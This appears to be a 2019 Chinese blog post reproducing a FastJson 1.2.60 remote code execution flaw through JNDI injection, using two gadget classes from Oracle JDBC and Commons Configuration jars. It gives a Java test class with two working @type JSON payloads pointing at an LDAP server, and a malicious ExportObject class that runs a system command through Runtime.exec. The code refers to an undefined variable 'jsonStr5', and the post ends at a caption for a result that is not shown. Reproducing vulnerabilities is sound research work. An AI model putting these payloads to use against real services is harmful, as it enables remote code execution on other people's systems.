More than 5 years have passed since last update.

[漏洞复现]FastJson 1.2.60远程代码执行漏洞(From第三方jar包)

FastJson

Last updated at 2019-09-19Posted at 2019-09-19

前言

最近有安全从业者——浅蓝色de忧伤在Freebuf发表了一文「抽象语法树分析寻找FastJSON的Gadgets」.根据他的文章两个FastJson用以JNDI注入的gadget随之公布,但目前FastJson官方并未将这两个gadget打入黑名单.

复现环境准备

1.JDK 8U20
2.所需jar清单如下

fastjson-1.2.60.jar
commons-configuration-1.4.jar
ojdbc14-10.2.0.2.0.jar
javax.resource-api-1.7.1.jar

FastJson复现

FastJsonTest.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
    public static void main(String[] args){

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String jsonStr1 ="{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"ldap://127.0.0.1:1389/ExportObject\"}";

        String jsonStr2 = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";

        JSONObject json = JSON.parseObject(jsonStr5);
        json.toJSONString();
    }
}

恶意类ExportObject.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }

    public static void main(String[] args) throws Exception {
    }
}

使用oracle.jdbc.connector.OracleManagedConnectionFactory payload 效果如下